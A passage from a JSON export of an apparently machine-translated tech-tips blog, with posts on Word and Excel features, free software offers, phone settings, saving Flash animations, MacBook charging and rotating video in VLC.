command. A drop down menu will appear.\n3. From here, you can choose colors ( Color ), thickness (Weight ) and border type ( Dash ).\n  4. The border will appear around the image.\nAdjust images Word provides several options to change how images appear in documents. For example, you can add frames, edit images, change the color or brightness of images and even add some fashion art effects. These options are in the Adjust and Picture Styles group on the Format tab.\n  When ready to perform image adjustments or experiment with the look of images in Word 2013, simply select the image, click the Format tab and use the options highlighted in the image below:\nCorrections : This command is in the Adjust group. Here, you can sharpen or soften the image by adjusting the opacity or clarity of the image. You can also adjust the brightness and contrast, control the light that appears in the light or shadow so that the image appears as you want.   Color : You can adjust the saturation of the image ( vivid color ), color tone ( color temperature of the image, from cold to hot ) and add color ( change the overall color of the image ).   Artistic effect: This command is in the Adjustment group. From here, you can add artistic effects like chalk, watercolor, and bright edges.\nArtistic Effect : Select the effect available to apply to images such as pastel colors, watercolors and glowing edges . These effects are quite strong so you should consider when using them, so that they are suitable for the document and not \" outrageous \".   Picture Styles : This group of tools contains a lot of pre-installed image styles, making it easier to format images such as frames, borders and edges. Picture Styles are designed to add frames to images without changing the basic settings or effects.   Compress images in Word 2013 If you plan to email documents containing images, you will need to track the file size. High resolution images can quickly make your documents heavy, which can be difficult or impossible to attach to emails. In addition, the cropped areas of the image saved in the document by default, can be added to the file size.\nWord 2013 also provides an image compression tool that reduces the specific image size and overall file size, reduces resolution and deletes garbled areas.\nHow to compress photos: 1. Select the image you want to compress, then click the Format tab.\n2. Click the Compress Pictures command.\n  3. A dialog box will appear. Select Delete cropped areas of pictures . You can choose to apply this setting to all images in the document or just for the selected image.\n4. Select Target output . If you plan to send this document via email, you can choose Email to reduce the file size.\n5. Click OK .\n  Delete photo background Removing background images can make it appear clearer. In printing documents, it can also save you ink.\nInvite you to take a look at the video Remove the photo background in Word 2013 :\nWith the Background Removal feature, Word uses special algorithms to determine which part of the image is the background and then removes these areas from the image.\n   To remove a background from an image: 1. Select the desired image, then click the Format tab.\n2. Click the Remove Background command.\n  3. Word will try to guess the background of the image to remove and mark the background with purple pink color. It will also place a box with selected handles around the image.\n  4. Drag the selected control bar until all the main images are inside the box. After that, Word can adjust the image background.\n5. At this point, you may need to help Word decide which part of the image is located and which part is hidden. You can do this by using Mark Areas to Keep and Mark Areas to Remove commands:\nIf Word has highlighted a pink and purple part in front of it, click Mark Areas to Keep and draw a line in the area of ​​the image. If a background is not highlighted in purple, click Mark Areas to Remove and draw a line in that area of ​​the image.   6. After adding the sign, Word will adjust the image again.\n  7. When you are satisfied with the image, click Keep Changes .\n  8. The background will be removed. You can adjust the image at any time by clicking the Remove Background command again.\n  See also: Word 2013: Instructions for using Microsoft and OneDrive accounts\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kxLC%2Bw2ZpaWljYrCwuc%2BlnK2dXZzCqrDEZqeaqqRifnd5yKaYoJ1dm7yzucCt\n","link":"/post/word-2013-complete-guide-part-16-image-format/","section":"post","tags":null,"title":"Word 2013 Complete Guide (Part 16): Image format"},{"body":"Did you notice the small green arrow in the upper left corner of a cell? You know, this annoying little sign is used by Excel to indicate there's something wrong with the values ​​in the cell.\nIn many cases, clicking on the arrow will bring up information, helping to fix the problem.\nBut in other cases, you still can't seem to find the error and resolve it. The following article will point out 8 Excel error messages that make you uncomfortable and how to fix them.\n1. #VALUE! Excel displays the #VALUE! Error. when it finds spaces, characters or text in a formula that should be a number.\nExcel requires the formulas to contain only numbers, so it will show the error, if you have included anything else.\nHow to fix An easy solution to this error is to check the formula again to make sure you only use numbers. If you still see errors, check for empty cells, missing formulas that link to cells or any special characters you might be using.\nIn the example above, the \"Sum\" column is referring to blank cells. Excel cannot calculate the total of blank columns, thus causing an error.\n2. #NAME? This is a slightly more complex Excel error. Below is a summary of why this error may appear in a cell you are working on:\nReason Error message #NAME? appears if Excel cannot understand the name of the formula you are trying to run or Excel cannot calculate one or more values ​​entered in the formula itself. To fix this error, check the spelling of the formula or use Formula Builder to have Excel build the function for you.\nFor example, if you are trying to execute the formula = VLOOKUP and you spell the word \"VLOOKUP\" incorrectly, Excel will return the #NAME? Error. After you enter the values ​​and press Enter . Check for this error below - as you can see, the \"U\" is missing in \"= VLOOKUP\".\nYou may also have written the formula correctly, but there is not enough information entered in the individual sections of the formula. As you can see in the example below, the array entry in the table is incomplete. Excel needs an actual worksheet name to know where to look for the desired value.\nHow to fix To fix the #NAME? Error? In Excel, check the spelling of the formula you are trying to run.\nIf the formula is spelled correctly and the worksheet still returns an error, Excel may be confused with one of the items inside the formula. An easy way to fix this is to ask Excel to insert the formula for you. Highlight the cell where you want to run the formula, then click the \"Formulas\" tab in the top navigation bar. Select \"Insert Function\" (If you are using Microsoft Excel 2017, this option will be on the left side of the Formulas navigation bar).\nWhen you select \"Insert Function\" , Formula Builder will appear on the right side of the worksheet where you can select the desired formula. Excel will then guide you through each step of the formula in separate fields, as shown below, to make sure that no errors occur and the program can read your cell correctly.\n3. ##### When you see ##### displayed in the box, you may find it a bit scary. The good news is that this error simply means that the column is not wide enough to display the value you have entered. And so the fix is ​​easy.\nHow to fix Click the right border of the column header and increase the column width.\nTip : You can double click the right border of the header to automatically match the widest cell in that column.\n4. # DIV / 0! When you see # DIV / 0 !, you're asking Excel to divide the formula by zeros or a blank cell. Just like when you do a division manually or on a computer, this calculation will not work in Excel.\nHow to fix This error is quite easy to solve. Just change the value of the cell to a value other than zero or add a value if the cell is empty. Here is an example:\n5. #REF! This can sometimes be a bit difficult to find the cause, but Excel often displays #REF! when a formula refers to an invalid cell.\nWhat is the #REF error in Excel? Error #REF! In Excel appears if you are running a formula that refers to a non-existing cell. If you delete a cell, column or row in your worksheet, and formulate a formula that includes the deleted cell name, Excel returns the #REF! Error. in the cell containing the formula.\nSo what does this error really mean? That means you may have accidentally deleted or pasted on a cell used in the formula. For example, in the \"Outcome\" column below, reference the formula: = SUM (A2, B2, C2).\nIf you accidentally delete the \"Number 2\" column, you will see this error:\nHow to fix Before you paste over a set of cells, make sure no formulas refer to the cells you are deleting. Also, when deleting cells, it is important to check which formulas are referenced in those cells.\nTip : If you accidentally delete a few cells, you can click the Undo button on the Quick Access Toolbar (or press CTRL + Z for PC / Command + Z for Mac) to restore them.\n6. #NULL! Error #NULL! occurs when you specify the intersection point of two areas that do not actually intersect or use the range operator incorrectly.\nHow to fix First, check to make sure you are using the correct syntax in your formula.\nYou should use colons to separate the first cell from the last cell, when referring to a continuous range of cells in the formula.\nOn the other hand, you should use commas when you refer to two non-intersecting ranges.\n7. # N / A When you see # N / A, this usually means that the numbers you are referring to in the formula cannot be found.\nYou may have accidentally deleted some or rows that are being used in formulas or refer to a deleted or not saved sheet.\nFor advanced users, one of the most common causes of # N / A errors is when the cell from the formula referenced in VLOOKUP cannot be found.\nHow to fix Carefully examine all formulas and be sure to carefully review spreadsheets or rows that may have been deleted or reference incorrectly. If you have several formulas linked to each other, check that everything in each formula is valid.\nFor advanced users using VLOOKUP functions, please refer to the instructions: How to fix VLOOKUP errors in Excel.\n8. #NUM! If the formula contains invalid numeric values, you will see the #NUM! Error. appear in Excel. Typically, this happens when you enter a numeric value that is different from the other arguments used in the formula.\nFor example, when you enter an Excel formula, make sure you do not include values ​​like $ 1,000 . Instead, enter 1000 and then format the cell with currency symbols and commas after the formula is calculated.\nHow to fix Check that you have entered any currencies, formats or special symbols. Then make sure to remove those characters from the formula, keeping only the numbers.\nHere's how you can format numbers after removing commas and currencies from your formula:\n(To adjust the currency unit, select the small triangle to the right of the icon to select an option from the drop-down menu.)\nncG1vNJzZmismaXArq3KnmWcp51khW6x15ycpWWVp7%2BwvoymnKyrkZyytHnToZitZZ2WuKZ52KisZq2emLyuss6rq5qanJo%3D\n","link":"/post/8-excel-error-messages-that-make-you-uncomfortable/","section":"post","tags":null,"title":"8 Excel error messages that make you uncomfortable"},{"body":"2011 On1 Effects is a fast photo editing tool that allows users to apply effects on each photo with hundreds of color filters available extremely easily. Normally this tool is priced at $ 59.99 but is currently licensed by No1 developer to download and use the lifetime license completely free of charge before June 30, 2018. If there is a need, please quickly register to join the program.\nOutstanding features of On1 Effects 2018:\nSimple interface, easy to use. Provide hundreds of color filters to help you edit photos without setting parameters. Provides quite complete basic editing tools such as brush, quick mask or refine brush . Can adjust the brightness / darkness, detail and vibration. Powerful editing tool kit eliminates unwanted objects, improves the sharpness of photos . Act as a plug-in for Photoshop, Lightroom, Apple Aperture. Full screen mode allows you to preview the result before exporting the file. Support many formats including JPEG, ERF, PNG, RSW, BMP, NEF, PSD, SRW, DCR .   \nGuide for receiving free lifetime license ON1 Effects 2018 photo editing tool\nStep 1: Access the link below and click on GET IT FREE.\nhttps://www.on1.com/promo/effects-2018/?partner=contrastly   \nStep 2: At the payment page, click the Proceed to checkout button.\n  \nStep 3: Fill in the required information and click the Place order button to complete the registration process.\n   \nStep 4: Select the version that is suitable for your computer (Mac or Windows) to download.\n  \nStep 5: Install the software and log in with the account created in step 3 to activate the license.\nNote:\nFree promotion program will end before June 30, 2018. For computers without discrete graphics, you need to download ON1 Effects 2018 OpenGL 3.3 to work. On devices with removable video cards, the software should be opened in high quality mode. Add new:\nDownload Panda Dome Complete, professional antivirus software for 47.94 USD, free of charge Download Smart Defrag Pro 5, the $ 9.99 price defragmentation app, which is free Download SafeDNS Agent for Safe Browsing software for $ 9.95, free of charge ARK: Survival Evolved has a free version for iOS and Android worldwide ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdm7yzeZRycHJln6N%2BbrHFn5ycrKNif3F9l2anoaekpHqmsMitoKefXai8p8DWmqmeZZansqZ5xaipZqSZm7I%3D\n","link":"/post/download-for-59-99-on1-effects-2018-photo-editing-software-free-for-life/","section":"post","tags":null,"title":"Download for $ 59.99 On1 Effects 2018 photo editing software, free for life"},{"body":"The following article introduces you to the EOMONTH function - one of the functions in the date and time group function is very popular in Excel.\n  Description: The function performs the calculation and returns the last day in the month before or after 1 day of a specified number of months.\nSyntax:  EOMONTH (start_date, months)\nInside:\n- start_date: The date represents the start date to calculate the last day of one or more months before or after, is a required parameter.\n- months: Number of months you want to calculate, is the required parameters with the following cases:\n+ months\u0026gt; 0 -\u0026gt; Create new days in the future.\n+ months -\u0026gt; Create new date in the past.\nAttention:\n- Excel stores the date as a serial number to facilitate the calculation process.\n- If the start_date value is not a valid date -\u0026gt; the function returns the #VALUE! Error value\n- Where start_date plus moths create an invalid date -\u0026gt; the function returns the #NUM! Error value\nFor example:\nCalculate the last day in the month before or after a specific number of months in the table below:\n  - In the cell to calculate enter the formula: = EOMONTH (E7, F7).\n  - Press Enter -\u0026gt; the last day of the month before 1/1/2011 1 month is:\n  - Similarly copy the formula with the same value but the opposite month argument results. So with months in the past:\n  - Copy the formula for the remaining values ​​to get the result:\n  - Where the value of months is not an integer -\u0026gt; it is truncated to an integer:\n  Above are instructions and some specific examples when working with EOMONTH function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrC5zqeroWWWqrukwMiopWasmJp6p8HNnKuip55iv6bA1KulrGWknbJuuMCsq2acka56qrqMrZ%2BeZZ2ku7W0jJucn6eimnqwvoyana2domJ%2BbrDAsmSonl2WerS8xJygn6GVmXqvwcybnKtln5t6rrvNrZ%2BsZZmjeqbEwp6j\n","link":"/post/eomonth-function-the-function-returns-the-last-day-in-the-month-before-or-after-1-day-of-a-specified-number-of-months-in-excel/","section":"post","tags":null,"title":"EOMONTH function - The function returns the last day in the month before or after 1 day of a specified number of months in Excel"},{"body":"If you had to study any kind of applied math in high school or college, you really would need a graphing calculator. However, some computers of this type are very expensive, so the handy function graphing software for iPhone or iPad becomes more valuable than ever.\nHere are the best function graphing applications that TipsMake.com would recommend to readers!\nFree Graphing Calculator   This functional graphing app has more than 4 million downloads and maintains a 4.5-star rating with nearly 3,000 reviews.\nThis is a powerful application that allows you to perform all types of calculations and can chart up to 4 equations at once, meaning you can finish your homework in just blink! You can graph graphs with polar coordinates, graph parametric equations, hidden functions, and more.\nIf you're looking for a completely free solution to meet your graphing calculator needs, this is definitely the right app. (You can remove ads for $ 0.99 - 23,000 VND, if desired).\nDownload the Free Graphing Calculator Desmos Graphing Calculator   Desmos Graphing Calculator is another free application with a full set of graphing options. You can graph with polar, Cartesian and parametric coordinates, without limits on the number of expressions you can plot at the same time.\nConvenient sliders allow you to adjust values ​​quickly, so you can see how parameters affect the chart.\nIf you're looking for an intuitive function graphing application, Desmos will fulfill your needs.\nDownload Desmos Graphing Calculator Quick Graph   Quick Graph is an application dedicated to graphing. You can draw 6 identical equations in both 2D and 3D modes (if you spend $ 2 - 46,000 VND to get the advanced feature set, that limit will no longer exist).\nYou can visualize your equations using lines or shapes and control images by zooming or dragging and rotating. You can then save your charts to your photo library and share them as you like. Quick Graph has a 4 star rating in the App Store, with over 10,700 reviews, so this option is definitely worth downloading.\nDownload Quick Graph https://apps.apple.com/us/app/quick-graph/id292412367\nCalculator # Another free, full featured calculator app, Calculator #, is rated very well on the App Store. It does everything, with an easy to read and use graphical interface. This is a perfect replacement for expensive equipment.\nYou only have the ability to plot 2D graphs, but can be applied to all trigonometric functions and equations. If you dive into calculus and other areas of advanced math, this is also a great application to have in your arsenal.\nDownload Calculator # Calculator +   Calculator + of xNeat.com is a free application and even without ads. However, you must pay $ 9.99 (230,000 VND) to fully unlock the application or pay $ 3.99 (92,000 VND) to unlock only function graphing. Calculator + can also be used on an Apple Watch, so you can make calculations right on your wrist.\nThis is one of the function graphing applications that has the best appearance. You can go back and edit all your calculations in real time to always get the results you want without having to retype everything.\nIf you are looking for a functional graphing option, this is a great application, but the cost will be quite large if you need more features.\nDownload Calculator + Are there any functional graphing apps that you particularly love that haven't been mentioned in the article yet? Leave your comments in the comment section below!\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51ks7a6wq2gqKaRoXqovsCpn6Kml2KusbzLopqarJmkuw%3D%3D\n","link":"/post/functional-graphing-application/","section":"post","tags":null,"title":"Functional graphing application"},{"body":"The Galaxy S9 and S9 + duo provides a state-of-the-art display interface, for the best, top quality display available today. All settings on the device are in default mode to initially suit each user. After using the device, we can fully edit, change any item that needs it, such as display color.\nYou can adjust the screen color to make it more prominent, especially when viewing images or being softer. Samsung has customizations that we can change according to needs. The following article will guide you how to change the colors displayed on Galaxy S9.\n5 ways to take screenshots Samsung Galaxy S9 / S9 + How to turn on developer mode on Galaxy S9 / Galaxy S9 + Summarize interesting tips on Galaxy S9 users should not ignore Instructions to change the color of the S9 screen Step 1:\nClick on the Settings application on the interface or swipe the notification bar from the screen down, click on Display .\n   Step 2:\nIn the Display interface, go to Screen mode to adjust the screen mode. Samsung will provide users with screen editing options, namely Adaptive display, AMOLED cinema, AMOLED photo and Basic. The default selected on the system is Adaptive display.\nTo change to the color display mode, just click on the mode you want to change.\nFor further manual editing, users click on Full screen color balances to change the level of the three colors Red, Green and Blue.\n    This color adjustment will meet the needs of those with high color requirements displayed on the S9. We can adjust the colors to better suit our needs, such as when taking photos or watching videos.\nSee more:\nHow to bring horizontal interface on Galaxy S9 on every Android device without root 4 customizable interface makes Galaxy S8, S9, A8 and Note 8 more beautiful S9 + sawing of dual aperture camera construction Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lk6S5sL7SZpuiq6Chrrqxw2amp2WXlrmixNhmqnI%3D\n","link":"/post/how-to-adjust-the-colors-displayed-on-galaxy-s9/","section":"post","tags":null,"title":"How to adjust the colors displayed on Galaxy S9"},{"body":"When starting an Android phone, users will be asked to enter their Google account into the system to use CH Play on their phones. In addition to this main account, you can also add another Google Play account to log in to this application.\nMany people wonder what add-on and change this account to Android phones is. The reason is that they often use the same account on many devices, for example on Smartphone, Android tablet, Android PC emulator, Android Box . And this will sometimes lead to a synchronization error.\nSo you should create a Google account for your own use on your phone with the default Google account for general use. Here's how to change your Google Play account on an Android phone.\nTips to increase free storage for Google accounts How to retrieve Gmail password, Google login password Instructions for deleting Google accounts permanently Instructions for adding and changing user accounts on CHPlay Step 1: First go to the installation application, scroll down and select Account , in some menus installed on some other Android phone companies it will be named Cloud and Account .\nIn your account, scroll down and select Add account .\n   In the Add account section , select Google, then write the Google account you want to add.\n   After adding a new account, it will appear in the Account menu, you will see this new account name displayed.\n   In the settings section you will see the avatar of the accounts you have logged into CHPlay. Click on the profile picture of the account you want to change to use that account.\n  With this new account, you will not have trouble using a Google account on multiple devices.\nIf you often lend your phone to someone who is afraid they will download the app, you can turn on the application authentication request when downloading the app from CHPlay to your phone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYygpqifnJp6sbjAsmSam5Okwq%2FAjKilZpmemb%2BwtcM%3D\n","link":"/post/how-to-change-google-play-account-on-android/","section":"post","tags":null,"title":"How to change Google Play account on Android"},{"body":"You don't need to use still images as your iPhone wallpaper. In today's article, TipsMake.com will show you how to create videos on iPhone lock screen. You can use any video as your main wallpaper and lock screen.\nHow to make video wallpaper for iPhone with intoLive application It is worth mentioning that the iPhone does not have a built-in converter to help you turn ordinary videos into Live Photos. However, that does not mean that you absolutely cannot perform video conversion into Live Photos on your device.\nThere is really a good app on the App Store for iOS that helps you convert regular videos into Live Photos.\nYou can download the application and use it to convert any video into Live Photos. Once done, you can set the resulting video as your iPhone's wallpaper.\nThe following steps will help you to do that on iPhone:\nStep 1 . Download the intoLive app.\nhttps://apps.apple.com/app/id1061859052\nStep 2 . Open the application when it is installed. You will be asked to allow it access to the image. Allows the app to do so, so that it can fetch your videos.\nStep 3 . When your videos are fetched, they will be displayed on the main interface of the application. Select the video you want to use as an iPhone live wallpaper by tapping on the video.\nStep 4 . On the following screen, the application will allow you to edit your video. You can apply filters, change the speed of the video, mute the video, rotate the video, etc. When you have made the changes, click Make in the upper right corner of the screen.\nStep 5 . You can apply loops to your videos on the following screen. However, only the first No repeat option is available to users for free. Click on it and it will allow you to continue.\nNo repeat is available for free users Step 6 . The video is now converted to Live Photo and you can save it to your device. Click the Save Live Photo button to do so. Live Photo will be saved in Photos app on the device.\nStep 7 . Now the Live Photo video is ready. Use that video as an iPhone wallpaper as follows:\nLaunch the Settings app on iPhone and tap Wallpaper\u0026gt; Choose a New Wallpaper .\nStep 8 . Click Live\u0026gt; Live Photos and select the newly created wallpaper. Then, click Set\u0026gt; Set Both to set it as wallpaper for both the home screen and lock screen.\nClick Set\u0026gt; Set Both to set it as the wallpaper for both the home screen and the lock screen As you can see, it's quite easy to use any video available on iPhone as a live wallpaper. All you need to do is convert the video into a Live Photo and you're ready to use it as your iPhone wallpaper.\nHow to set video as iPhone wallpaper with PicPlayPost If for some reason, the above app doesn't work on your device or you don't want to use it, you have another great app available, which helps to use any video as an iPhone wallpaper.\nThis app is called PicPlayPost and like intoLive application, it allows you to convert your videos into Live Photos to use them as live wallpapers.\nStep 1 . Download the PicPlayPost app and launch it.\nhttps://apps.apple.com/app/id498127541\nStep 2 . On the first screen, click the New Project option to create a new project for the live wallpaper.\nStep 3 . You will need to give the app access to photos and videos. Then, click on the option that says Create a Movie or Slideshow .\nClick Create a Movie or Slideshow Step 4 . The following screen allows you to choose the scale for your project. You should choose 9:16 because it fits perfectly to the iPhone wallpaper.\nYou should choose 9:16 because it fits perfectly to the iPhone wallpaper Step 5 . You will now add your video to the application. Click the + button in the lower left corner.\nStep 6 . Select Fullscreen and then select videos to add to the application. Make any changes you want to the video and then click Save \u0026amp; Share at the top.\nStep 7 . If you are a free user of the application, click Continue with Watermark . Select Live Photo / Wallpaper on the screen after that.\nSelect Continue with Watermark Step 8 . Go to Settings\u0026gt; Wallpaper\u0026gt; Choose a New Wallpaper\u0026gt; Live\u0026gt; Live Photos on iPhone and select the newly created Live Photo. Then it will be set as your iPhone wallpaper.\nThat's all it takes to set videos as your iPhone's wallpaper. If you've never tried animated wallpapers before, follow this guide and try turning your iPhone videos into wallpapers\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJutc%2BhpqedXau2pbHOZq6apJylrrGx0Q%3D%3D\n","link":"/post/how-to-make-iphone-video-wallpaper/","section":"post","tags":null,"title":"How to make iPhone video wallpaper?"},{"body":" Flash animations are a classic form of internet media, and can typically only be streamed from a website. If you want to watch the animation whenever you want, you'll need to save it to your computer. Though saving a flash animation isn't...\nMethod 1of 6:\nViewing Page Info in Firefox  Open the video site in Firefox. Navigate to the Flash animation that you want to watch. Firefox is the easiest browser to use when downloading a Flash file directly from a website. This method will not work with YouTube, Vimeo, and other streaming sites. This is for Flash animations and games on sites such as Newgrounds. To download YouTube videos, use the Method 4. If you right-click on the movie itself, you will not find the View Page Info option. You must click somewhere on the page that is not the video or a link.   Visit the website with the animation you want. Once the animation has loaded in Firefox, right-click on the page. Make sure you're right-click on the page's background, not on the Flash object itself.\n  Select 'View Page Info' from the right-click menu. This will open a box with detailed information about the site you are viewing. At the top of the box, you will see a set of tabs that can display different information about the site.\n  Click on the Film icon. This will show a list of all of the multimedia objects that the site contains, such as button graphics and banners. It will also contain the .SWF file of the animation. Click the Type column heading in the list to sort by object type.\n  Find the Flash file. The movie will be in .SWF format, and will be listed as an \"Object\" or \"Embed\" in the Type column. The name of the file is often similar to the title of the animation on the website. Select it from the list and click \"Save As...\". Name the file whatever you would like and click Save.\n  Play the movie. Once you've downloaded the movie, you can open it in any browser that has Flash installed. When you first try to open the file, Windows may tell you that you need to specify a program. If your browser is not listed as a suggested program, search your computer for it. Most browser programs are located in the Program Files folder on your hard drive, in a folder labeled by the company (Google, Mozilla, etc.). You can also click and drag the file into your browser window to open the file.  Method 2of 6:\nCopying SWF Files from the Browser Cache  Open Internet Explorer. To see your Temporary Internet Files, open the Tools menu and select Internet Options. In the General tab, select Settings and then View Files. You can also search your computer for Temporary Internet Files if you're not using Internet Explorer.\n  Right-click and sort files by address. Locate the address of the website that you found the file on. The website may have a prefix page to it, such as farm.newgrounds.com.\n  Locate the files with an SWF extension. This is the extension for Flash files. These can be movies or games or even advertisements. Look for a file with a name that matches the video you are trying to download. Right-click on the file and select Copy. Paste the file in an easily accessible folder.\n  Play the movie. Once you've copied the file to a new location, you can open it to watch the animation. You can open the file in a web browser or in a standalone SWF player. To open the file in a browser, you can click and drag the file into a browser window.  Method 4of 6:\nUsing A Download Manager  Install a download manager extension. Firefox is the most popular browser for adding extensions, and it can be downloaded for free from the Mozilla website. One of the highest-rated download extensions is the free DownloadHelper. DownloadHelper will give you the option to download media files on any website you visit. This includes Flash movies and games. You can also use this extension for YouTube videos. You can download standalone download managers that function similarly if you prefer to not use Firefox.   Visit the website with the animation you want. Once the animation begins playing, the DownloadHelper icon will start rotating in the top-right corner of the window. A small arrow will appear next to it. Click the arrow to open a choice of download options.\n  Select the file. When you click the arrow, you will see a list of all of the media files on the page. If the animation had an advertisement, both will be listed. The animation may have a filename that doesn't match the title.\n  Wait for the download to finish. Once you have selected the file, the download will begin. You can check the progress in the Downloads window in Firefox. This window can be accessed by clicking the Firefox menu and clicking Downloads.\n Method 5of 6:\nUsing an iOS Device  Download and install an app that can play Flash files. Flash does not have any native support on iOS devices. This means that you will need an app that can play Flash files. There are several apps available on the App Store, including Puffin Browser Free, Photon Browser, and iSwifter.\n  Access a website with Flash using your new browser. You can't actually download Flash files from websites using iOS (unless they offer an official download option), so you'll need to use your new browser to load the Flash content while visiting the page. The performance of Flash in the browser will depend on how old your iOS device is.\n  Download Flash files on a computer and then transfer them to your iOS device. If you really want to be able to access Flash files on your iOS device, you'll need to download them to a computer first using one of the above methods. After you've downloaded it to your computer, you can email it to yourself or use cloud storage to transfer it to your iOS device, and then use your Flash Browser to open it.[1]\n Method 6of 6:\nUsing an Android Device  Enable installation of apps from unknown sources. Adobe no longer supports Flash on Android, and all official apps have been pulled from the Play Store. You'll need to manually install an older version of Flash. This could lead to security vulnerabilities on your device, as Flash does not receive any updates from Adobe. Open the Settings app and select \"Security\" Check the \"Unknown sources\" box.   Download a Flash Player APK file on your Android device. Use your Android's browser to download the latest version for Android from here. This may not work on newer versions of the Android operating system.\n  Run the APK file after downloading it. Once the download is complete, tap it in your notification bar to begin installing it.\n  Download Flash files on your computer and transfer them to your Android device. It is not possible to download Flash files on your Android device, unless the Flash file has an actual Download option. In order to download embedded Flash videos and games, use one of the methods above to download the file to your computer, and then transfer the file to your Android device. You can transfer files by plugging your Android device into your computer via USB. You can then drag and drop downloaded files into any folder on your Android device, just as if it was a USB drive. Alternatively, you can use a Flash-enabled browser like Puffin or Photon to visit websites that have Flash content and view the content from the site. This is necessary if your newer device does not support the Adobe Flash Player app. Chrome for Android does not support Flash, even with the Flash Player installed. If you have Flash Player installed, you can use the default Internet or Browser app to view Flash content.   Open the Flash file. Use a file manager app to find the Flash files that you transferred from your computer. When you tap the Flash file, you'll be asked what you want to use to open it. Select one of your Flash-enabled browsers, or your stock browser if Flash Player is installed.[2] You may have to open the browser's Settings menu and enable Flash before Flash content can be played.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JurYyfo5qrmGKur7XMmquip55is7O7zGaYZq%2BVl8CqwMQ%3D\n","link":"/post/how-to-save-a-flash-animation-from-a-website/","section":"post","tags":null,"title":"How to Save a Flash Animation from a Website"},{"body":"Here's what you need to know to properly charge your MacBook Pro.\nHow to charge Macbook Pro is suitable? Whether you're using any MacBook Pro model, new or long-established, simply plug in the charging cable and your device will automatically charge in the background. However, there are some things to consider to help make this process happen in a safer and more efficient way.\nOlder MacBook Pro models will have a slight difference in the way they charge. For example, older MacBook Pro models released before 2016 use Apple's proprietary magnetic charging cable. The cable will automatically snap into the correct position when you place it near the charging port.\n  Modern MacBook Pro models use a USB-C port for charging, which is more convenient, but the charging head won't attach as tightly to the charging port as older magnetic cables.\nYou can use any USB-C cable to charge the new MacBook Pro. However, using the cable that came with the machine is still the best option.\n  Using the device while charging can cause the battery to fully charge more slowly, especially when not in use.\nAvoid using batteries if possible. If you often use your MacBook Pro in a fixed location, always leave it plugged in to prevent battery drain. Use batteries only when you are forced to work in places where power is not available.\nWhich port is used to charge Macbook Pro? Here's how to find the exact location of the charging port on new and older MacBook Pro models:\nStep 1. Look to the right side of the device.\nStep 2. On older MacBook Pro, the charging port is square, where you can attach the magnetic charging cable.\n( Note : The light of the charging cable turns orange to indicate charging is in progress, or green to indicate that the battery is fully charged). Step 3. On newer MacBook Pro models, plug the USB-C cable into any port you find. In general, plugging in the charging cable on the right side is ideal. (There will be no charging status light).\nIs it possible to charge a Macbook with a smartphone charger? This depends on the model of MacBook Pro you own. With that said, older MacBook Pro models use a proprietary magnetic charging cable and only a single charging port, so you won't have much choice.\nMeanwhile, the new MacBook Pro uses a USB-C port for charging like most current smartphones and tablets. Therefore, you can use the same charger of these devices when needed, but should be minimized, only used in situations where it is really needed.\nIs it safe to charge using the ports on the left side? Some recent research has found that there can be problems when you regularly charge the battery through the left ports of the new MacBook Pro. Notably, this can cause the machine's temperature to spike, even overheat and crash. Here are the things you need to consider before charging the battery through the left ports:\nCheck if you can charge your MacBook Pro from the left side. Not all MacBook Pros have a charging port on the left-hand side, so don't worry about this if yours doesn't. Consider if you can move the device's position to charge it from the right side? Do so if you can. Pay attention to the temperature of the machine Not all MacBook Pro immediately crashes if you charge through the ports on the left. In most cases you won't have a problem, but the risk is there, so pay close attention. How long does it take to fully charge a MacBook Pro? This depends on the model of MacBook you own and the % when starting to charge. Newer models often come with fast charging technology, so the charging time is also significantly shortened. You can click the battery icon in the menu bar to estimate how long it will take to fully charge your device.\nHow much does it cost to replace a MacBook Pro battery? If your MacBook Pro is no longer under warranty, Apple will charge a battery service fee depending on the model you own. The battery for the 13-inch or 15-inch MacBook Pro has a reference price of about $129, while the battery for the 16-inch MacBook Pro, 13- and 15-inch MacBook Pro with retina display will cost about $199.\napple Macbook Pro ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJa%2FqLXNoGSmmZOXvLC3jKmpqGWgp7yxsdGlsA%3D%3D\n","link":"/post/instructions-for-charging-macbook-pro-properly/","section":"post","tags":null,"title":"Instructions for charging MacBook Pro properly"},{"body":"The current music and video player programs have integrated many other features, in addition to playing music or video to users. Such as the ability to rotate backwards, rotate the video to 180 degrees or 90 degrees. To be able to rotate the video from the angle you want, for your job you can choose Windows Movie Maker software, or VLC Midia Player. In this tutorial, we will show you how to rotate videos using VLC Midia Player software.\nHow to rotate videos with VLC Midia Player First, download and install the VLC Midia Player program under the link below.\nDownload VLC Midia Player for free Step 1: You open VLC software on your computer. Click on the Media item above and select Open File to open the video you want to rotate. Or press Ctrl + O.\n  Step 2: After you've opened the video, click Tools and click Effects and Filters . Or click Ctrl + E.\n  Step 3: Appearance of Adjustments and Effects window (Customize and effect). Here, click on the Video Effects tab and select the Geometry tab.\n  Step 4: Next, select the Transform box, then select the video rotation angle below that you want to convert. For example, Network Administrator chooses to rotate video with 90 degree angle. Click Close to save the new setting.\n  Step 5: This is the video after shooting according to the desired angle. Once rotated, your original video will automatically rotate according to the selected angle. You can open the folder where the original video was saved to open the recorded video.\n  These are very simple steps when you want to rotate the video at 180 degrees, 90 degrees angle with VLC Media Player software. The original video will be transferred to the angle you selected. If the user wants to watch the video with an old angle, you can choose another software in the computer to watch the video.\nRefer to the following articles: How to record a screen with VLC Media Player? 10 interesting hidden functions of VLC Media Player Convert music and Video formats directly with VLC I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaqn6mutbXNoGSvoZSavLR5wKucZqGeq7KzwMSdZJqmlGK2r6%2FLoqWenF2Xxm7Cy5xkpp2Unq5uvMuasJ6q\n","link":"/post/instructions-for-rotating-videos-are-inverted-and-inclined-by-vlc-media-player/","section":"post","tags":null,"title":"Instructions for rotating videos are 